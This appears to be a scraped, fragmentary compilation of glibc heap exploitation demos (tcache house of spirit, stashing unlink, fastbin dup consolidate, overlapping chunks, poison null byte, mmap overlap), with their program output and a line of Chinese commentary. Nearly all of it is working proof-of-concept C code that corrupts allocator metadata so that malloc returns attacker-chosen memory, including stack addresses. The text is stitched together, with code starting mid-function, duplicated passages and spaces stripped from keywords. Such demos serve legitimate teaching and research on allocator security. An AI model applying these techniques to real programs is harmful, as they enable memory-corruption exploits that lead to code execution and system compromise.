printf("Now the tcache list has [ %p -> %p ].\n", b, a); printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var); b[0] = (intptr_t)&stack_var; printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128)); printf("Now the tcache list has [ %p ].\n", &stack_var);
printf("This file demonstrates the house of spirit attack on tcache.\n"); printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
printf("Ok. Let's start with the example!.\n\n");
printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1);
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsignedlonglong *a; //pointer that will be overwritten unsignedlonglong fake_chunks[10]; //fake chunk region
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n"); free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); void *b = malloc(0x30); printf("malloc(0x30): %p\n", b);
This file demonstrates the house of spirit attack on tcache. It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed. You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane. (Search for strings "invalid next size" and "double free or corruption")
Ok. Let's start with the example!.
Calling malloc() once so that it sets up its memory. Let's imagine we will overwrite 1 pointer to point to a fake chunk region. This region contains one fake chunk. It's size field is placed at 0x7fffffffdcd8 This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffffffdcd8. ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned. Freeing the overwritten pointer. Now the next malloc will return the region of our fake chunk at 0x7fffffffdcd8, which will be 0x7fffffffdce0! malloc(0x30): 0x7fffffffdce0
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsignedlong)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); }
//put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]);
//convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90); malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
This file demonstrates the stashing unlink attack on tcache.
This poc has been tested on both glibc 2.27 and glibc 2.29.
This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc
The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.
This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.
Stack_var emulates the fake chunk we want to alloc to.
First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.
You can see the value of fake_chunk->bk is:0x7fffffffdcb0
Also, let's see the initial value of stack_var[4]:(nil)
Now we alloc 9 chunks with malloc.
Then we free7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.
As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.
Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.
Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins
Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: 0x7fffffffdca0.
Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.
Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: 0x55555555b3a0 and the bck->fd has been changed into a libc addr: 0x7ffff7dcfd30
As you can see, next malloc(0x90) will return the region our fake chunk: 0x7fffffffdcb0
voidmain() { // reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8 puts("This is a powerful technique that bypasses the double free check in tcachebin."); printf("Fill up the tcache list to force the fastbin usage...\n");
void *ptr[7];
for(int i = 0; i < 7; i++) ptr[i] = malloc(0x40); for(int i = 0; i < 7; i++) free(ptr[i]);
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1); printf("Freeing p1 will add this chunk to the fastbin list...\n\n"); free(p1);
void* p3 = malloc(0x400); printf("Allocating a tcache-sized chunk (p3=%p)\n", p3); printf("will trigger the malloc_consolidate and merge\n"); printf("the fastbin chunks into the top chunk, thus\n"); printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n"); free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n"); printf("to the tcache thus the next similar-size malloc will\n"); printf("point to p3: p3=%p, p4=%p\n\n",p3, p4); }
This is a powerful technique that bypasses the doublefree check in tcachebin. Fill up the tcache list to force the fastbin usage... Allocate another chunk of the same size p1=0x55555555b8a0 Freeing p1 will add this chunk to the fastbin list...
Allocating a tcache-sized chunk (p3=0x55555555b8a0) will trigger the malloc_consolidate and merge the fastbin chunks into the top chunk, thus p1 and p3 are now pointing to the same chunk !
Triggering the doublefree vulnerability!
The doublefree added the chunk referenced by p1 to the tcache thus the next similar-size malloc will point to p3: p3=0x55555555b8a0, p4=0x55555555b8a0
printf("\nNow let's free the chunk p2\n"); free(p2); printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); printf("For a toy program, the value of the last 3 bits is unimportant;" " however, it is best to maintain the stability of the heap.\n"); printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse)," " to assure that p1 is not mistaken for a free chunk.\n");
int evil_chunk_size = 0x581; int evil_region_size = 0x580 - 8; printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", evil_chunk_size, evil_region_size);
/* VULNERABILITY */ *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 /* VULNERABILITY */
printf("\nNow let's allocate another chunk with a size equal to the data\n" "size of the chunk p2 injected size\n"); printf("This malloc will be served from the previously freed chunk that\n" "is parked in the unsorted bin which size has been modified by us\n"); p4 = malloc(evil_region_size);
printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8); printf("p4 should overlap with p3, in this case p4 includes all p3.\n");
printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
printf("Let's run through an example. Right now, we have:\n"); printf("p4 = %s\n", (char *)p4); printf("p3 = %s\n", (char *)p3);
Let's start to allocate 3 chunks on the heap The 3 chunks have been allocated here: p1=0x55555555b260 p2=0x55555555b760 p3=0x55555555bc60
Now let's free the chunk p2 The chunk p2 is now in the unsorted bin ready to serve possible new malloc() of its size Now let's simulate an overflow that can overwrite the size of the chunk freed p2. For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap. To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk. We are going to set the size of chunk p2 to to 1409, which gives us a region size of 1400
Now let's allocate another chunk with a size equal to the data size of the chunk p2 injected size This malloc will be served from the previously freed chunk that is parked in the unsorted bin which size has been modified by us
p4 has been allocated at 0x55555555b760 and ends at 0x55555555bcd8 p3 starts at 0x55555555bc60 and ends at 0x55555555c1d8 p4 should overlap with p3, in this case p4 includes all p3.
Now everything copied inside chunk p4 can overwrites data on chunk p3, and data written to chunk p3 can overwrite data stored in the p4 chunk.
Let's run through an example. Right now, we have: p4 = ����� p3 = 3333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333331
If we memset(p4, '4', 1400), we have: p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444441 p3 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444441
And if we then memset(p3, '3', 80), we have: p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444443333333333333333333333333333333333333333333333333333333333333333333333333333333344444444444444444444444444444444444444441 p3 = 3333333333333333333333333333333333333333333333333333333333333333333333333333333344444444444444444444444444444444444444441
printf("Welcome to poison null byte 2.0!\n"); printf("Tested in Ubuntu 18.04 64bit.\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("We allocate 0x500 bytes for 'a'.\n"); a = (uint8_t*) malloc(0x500); printf("a: %p\n", a); int real_a_size = malloc_usable_size(a); printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' " "(it may be more than 0x500 because of rounding): %#x\n", real_a_size);
/* chunk size attribute cannot have a least significant byte with a value of 0x00. * the least significant byte of this will be 0x10, because the size of the chunk includes * the amount requested plus some amount required for the metadata. */ b = (uint8_t*) malloc(0xa00);
printf("b: %p\n", b);
c = (uint8_t*) malloc(0x500); printf("c: %p\n", c);
barrier = malloc(0x100); printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
// added fix for size==prev_size(next_chunk) check in newer versions of glibc // https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 // this added check requires we are allowed to have null pointers in b (not just a c string) //*(size_t*)(b+0x9f0) = 0xa00; printf("In newer versions of glibc we will need to have our updated size inside b itself to pass " "the check 'chunksize(P) != prev_size (next_chunk(P))'\n"); // we set this location to 0xa00 since 0xa00 == (0xa11 & 0xff00) // which is the value of b.size after its first byte has been overwritten with a NULL byte *(size_t*)(b+0x9f0) = 0xa00;
// this technique works by overwriting the size metadata of a free chunk free(b); printf("b.size: %#lx\n", *b_size_ptr); printf("b.size is: (0xa00 + 0x10) | prev_in_use\n"); printf("We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" printf("b.size: %#lx\n", *b_size_ptr);
uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2; printf("c.prev_size is %#lx\n",*c_prev_size_ptr);
// This malloc will result in a call to unlink on the chunk where b was. // The added check (commit id: 17f487b), if not properly handled as we did before, // will detect the heap corruption now. // The check is this: chunksize(P) != prev_size (next_chunk(P)) where // P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0xa00 (was 0xa10 before the overflow) // next_chunk(P) == b-0x10+0xa00 == b+0x9f0 // prev_size (next_chunk(P)) == *(b+0x9f0) == 0xa00 printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x500);
printf("b1: %p\n",b1); printf("Now we malloc 'b1'. It will be placed where 'b' was. " "At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr); printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes " "before c.prev_size: %lx\n",*(((uint64_t*)c)-4)); printf("We malloc 'b2', our 'victim' chunk.\n"); // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
free(b1); free(c); printf("Finally, we allocate 'd', overlapping 'b2'.\n"); d = malloc(0xc00); printf("d: %p\n",d); printf("Now 'd' and 'b2' overlap.\n"); memset(d,'D',0xc00);
printf("New b2 content:\n%s\n",b2);
printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks" "for the clear explanation of this technique.\n");
Welcome to poison null byte 2.0! Tested in Ubuntu 18.0464bit. This technique can be used when you have an off-by-one into a malloc'ed region with a null byte. We allocate 0x500 bytes for'a'. a: 0x55555555b260 Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x500 because of rounding): 0x508 b: 0x55555555b770 c: 0x55555555c180 We allocate a barrier at 0x55555555c690, so that c is not consolidated with the top-chunk when freed. The barrier is not strictly necessary, but makes things less confusing In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))' b.size: 0xa11 b.size is: (0xa00 + 0x10) | prev_in_use We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0xa00 c.prev_size is 0xa10 We will pass the check since chunksize(P) == 0xa00 == 0xa00 == prev_size (next_chunk(P)) b1: 0x55555555b770 Now we malloc'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0xa10 Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: 4f0 We malloc'b2', our 'victim' chunk. b2: 0x55555555bc80 Current b2 content: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Now we free'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2'). Finally, we allocate 'd', overlapping 'b2'. d: 0x55555555b770 Now 'd' and 'b2' overlap. New b2 content: DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explanation of this technique.
/* Technique should work on all versions of GLibC Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g` POC written by POC written by Maxwell Dulin (Strikeout) */ intmain(){
int* ptr1 = malloc(0x10);
printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n"); printf("Extremely large chunks are special because they are allocated in their own mmaped section\n"); printf("of memory, instead of being put onto the normal heap.\n"); puts("=======================================================\n"); printf("Allocating three extremely large heap chunks of size 0x100000 \n\n"); longlong* top_ptr = malloc(0x100000); printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap. longlong* mmap_chunk_2 = malloc(0x100000); printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
longlong* mmap_chunk_3 = malloc(0x100000); printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
printf("\nCurrent System Memory Layout \n" \ "================================================\n" \ "running program\n" \ "heap\n" \ "....\n" \ "third mmap chunk\n" \ "second mmap chunk\n" \ "LibC\n" \ "....\n" \ "ld\n" \ "first mmap chunk\n" "===============================================\n\n" \ ); printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]); printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);
printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n"); printf("This will cause both chunks to be Munmapped and given back to the system\n"); printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below. // Additionally, this same attack can be used with the prev_size instead of the size. mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2; printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]); printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
free(mmap_chunk_3);
printf("Get a very large chunk from malloc to get mmapped chunk\n"); printf("This should overlap over the previously munmapped/freed chunks\n"); longlong* overlapping_chunk = malloc(0x300000); printf("Overlapped chunk Ptr: %p\n", overlapping_chunk); printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);
// Gets the distance between the two pointers. int distance = mmap_chunk_2 - overlapping_chunk; printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance); printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]); // Set the value of the overlapped chunk. printf("Setting the value of the overlapped chunk\n"); overlapping_chunk[distance] = 0x1122334455667788;
// Show that the pointer has been written to. printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]); printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]); printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n"); assert(mmap_chunk_2[0] == overlapping_chunk[distance]); }
此攻击手法和2.23下也是差不多的。分配三个大小0x100000的chunk。布局如下
1 2 3
The first mmap chunk goes directly above LibC: 0x7ffff7ef3010 The second mmap chunk goes below LibC: 0x7ffff78e3010 The third mmap chunk goes below the second mmap chunk: 0x7ffff77e2010
This is performing an overlapping chunk attack but on extremely large chunks(mmap chunks). Extremely large chunks are special because they are allocated in their own mmaped section of memory, instead of being put onto the normal heap. =======================================================
Allocating three extremely large heap chunks of size 0x100000
The first mmap chunk goes directly above LibC: 0x7ffff7ef3010 The second mmap chunk goes below LibC: 0x7ffff78e3010 The third mmap chunk goes below the second mmap chunk: 0x7ffff77e2010
Current System Memory Layout ================================================ running program heap .... third mmap chunk second mmap chunk LibC .... ld first mmap chunk ===============================================
Prev Size of third mmap chunk: 0x0 Size of third mmap chunk: 0x101002
Change the size of the third mmap chunk to overlap with the second mmap chunk This will cause both chunks to be Munmapped and given back to the system This is where the vulnerability occurs; corrupting the size or prev_size of a chunk New size of third mmap chunk: 0x202002 Free the third mmap chunk, which munmaps the second and third chunks
Get a very large chunk from malloc to get mmapped chunk This should overlap over the previously munmapped/freed chunks Overlapped chunk Ptr: 0x7ffff76e3010 Overlapped chunk Ptr Size: 0x301002 Distance between new chunk and the second mmap chunk(which was munmapped): 0x40000 Value of index 0 of mmap chunk 2 prior to write: 0 Setting the value of the overlapped chunk Second chunk value(after write): 0x1122334455667788 Overlapped chunk value: 0x1122334455667788
Boom! The new chunk has been overlapped with a previous mmaped chunk
intmain() { /* * This attack should bypass the restriction introduced in * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d * If the libc does not include the restriction, you can simply double free the victim and do a * simple tcache poisoning * And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap setbuf(stdin, NULL); setbuf(stdout, NULL);
// introduction puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into"); puts("returning a pointer to an arbitrary location (in this demo, the stack)."); puts("This attack only relies on double free.\n");
// prepare the target intptr_t stack_var[4]; puts("The address we want malloc() to return, namely,"); printf("the target address is %p.\n\n", stack_var);
